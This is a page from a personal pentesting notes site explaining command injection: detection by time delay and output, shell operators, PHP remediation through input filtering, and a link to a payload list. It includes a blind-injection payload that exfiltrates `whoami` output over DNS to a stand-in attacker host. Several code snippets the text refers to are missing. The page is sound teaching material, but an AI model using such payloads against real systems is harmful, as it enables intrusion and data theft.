Pentesting Notes
  • Home
  • 🌐Web pentesting
    • Content Discovery
    • Subdomain Enumeration
    • Authentication bypass
    • IDOR (Insecure Direct Object Reference)
    • Git repository
    • XSS
    • SSRF
    • CSRF
    • Injection
      • SQL Injection
      • Cypher injection
      • Command injection
      • Server Side Template Injection
      • NoSQL injection
      • XXE
    • FI (File Inclusion)
    • File upload
    • OAuth
    • JWT
    • CORS
    • Prototype pollution
    • Request Smuggling
  • Windows Pentesting
    • Enumerating users (No credentials)
    • Privilege Escalation
    • Post-Exploitation
    • Cross-domain enumeration
    • LDAP port (389, 636, 3268, 3269)
    • SMB port (139,445)
    • MSSQL port (1433)
    • Certificate Authority (CA)
    • Delegation attacks
    • Attacking Kerberos
    • Relay attacks
    • Bypassing Security
    • File Transfer
    • GPO (Group Policy Object)
    • Tools
      • Mimikatz
      • NetExec
      • Crackmapexec (CME)
      • Powerview
      • Bloodhound
      • Impacket
      • BloodyAD
      • Sliver C2
  • 🐧Linux Pentesting
    • Linux Privilege Esclation
    • Escape docker
    • Ansible
  • 🕊️Cross platform pivoting
    • Pivoting
  • ☁️Cloud
    • Kubernetes
    • Azure
      • Architecture
        • RBAC & ABAC roles
        • Entra ID roles
        • Entra ID - Authentication with OAuth and API's
        • Consent and Permissions
      • Service Discovery, Recon, Enumeration and Initial Access Attacks
        • Unauthenticated Recon
        • Password Spraying
        • Azure App Service
        • Azure Blob Storage
        • Phishing with Evilginx
        • Conditional Access
      • Authenticated Enumeration
        • ROADTools
        • BloodHound & AzureHound
        • Storage Accounts (database)
      • Privilege Escalation
        • Illicit Consent Grant
        • Macro enabled Word-files (Revshell)
        • Add secrets to app
        • Automation Accounts & Function Apps
        • Virtual Machines
        • Key Vault
        • ARM Deployment History
        • Enterprise Application / Service Principal
      • Lateral Movement
        • Entra ID Devices & Primary Refresh Tokens
        • Dynamic Groups
        • Application Proxy
        • Hybrid Identity
  • 🔁Reversing
    • Windows executables and DLL's
    • Linux binaries
    • Java applications
    • Android APK
  • 🛜Wireless networks
    • WPA/WPA2
    • WPS
    • WEP
    • Capative portal bypass
    • Setting up a Rogue Access Point
    • WPA Enterpise (WPA-MGT)
  • ⭐Tips and tricks
    • Tips and tricks
Powered by GitBook
On this page
  • Discovering Command Injection
  • Exploiting Command Injection
  • Blind command injection with out-of-band data exfiltration
  • Remediating Command Injection
  • Links
  1. Web pentesting
  2. Injection

Command injection

Command injection is the abuse of an application's behaviour to execute commands on the operating system, using the same privileges that the application on a device is running with.

A command injection vulnerability is also known as a "Remote Code Execution" (RCE) because an attacker can trick the application into executing a series of payloads that they provide, without direct access to the machine itself (i.e. an interactive shell).


Discovering Command Injection

This vulnerability exists because applications often use functions in programming languages such as PHP, Python and NodeJS to pass data to and to make system calls on the machine’s operating system. For example, taking input from a field and searching for an entry into a file. Take this code snippet below as an example:

Rather than using grepto search for an entry in songtitle.txt, they could ask the application to read data from a more sensitive file.

Abusing applications in this way can be possible no matter the programming language the application uses. As long as the application processes and executes it, it can result in command injection. For example, this code snippet below is an application written in Python.


Exploiting Command Injection

Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators ;, & and && will combine two (or more) system commands and execute them both.

Command Injection can be detected in mostly one of two ways:

  1. Blind command injection

  2. Verbose command injection

Detecting Blind Command Injection

Blind command injection is when command injection occurs; however, there is no output visible, so it is not immediately noticeable. For example, a command is executed, but the web application outputs no message.

  • For this type of command injection, we will need to use payloads that will cause some time delay. For example, the pingand sleepcommands are significant payloads to test with. Using pingas an example, the application will hang for x seconds in relation to how many pings you have specified.

  • Another method of detecting blind command injection is by forcing some output. This can be done by using redirection operators such as >

  • The curl command is a great way to test for command injection

Detecting Verbose Command Injection

Detecting command injection this way is arguably the easiest method of the two. Verbose command injection is when the application gives you feedback or output as to what is happening or being executed.

For example, the output of commands such as ping or whoami is directly displayed on the web application.

Blind command injection with out-of-band data exfiltration

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Remediating Command Injection

Command injection can be prevented in a variety of ways. Everything from minimal use of potentially dangerous functions or libraries in a programming language to filtering input without relying on a user’s input.

In PHP, many functions interact with the operating system to execute commands via shell; these include:

Exec();
Passthru();
System();

Take this snippet below as an example. Here, the application will only accept and process numbers that are inputted into the form. This means that any commands such as whoami will not be processed.

  1. The application will only accept a specific pattern of characters (the digits 0-9)

  2. The application will then only proceed to execute this data which is all numerical.

Sanitising any input from a user that an application uses is a great way to prevent command injection. This is a process of specifying the formats or types of data that a user can submit. For example, an input field that only accepts numerical data or removes any special characters such as > , &and /.

Links

PreviousCypher injectionNextServer Side Template Injection

Last updated 8 months ago

In the snippet below, the filter_input is used to check whether or not any data submitted via an input form is a number or not. If it is not a number, it must be invalid input.

🌐
PHP function
https://github.com/payloadbox/command-injection-payload-list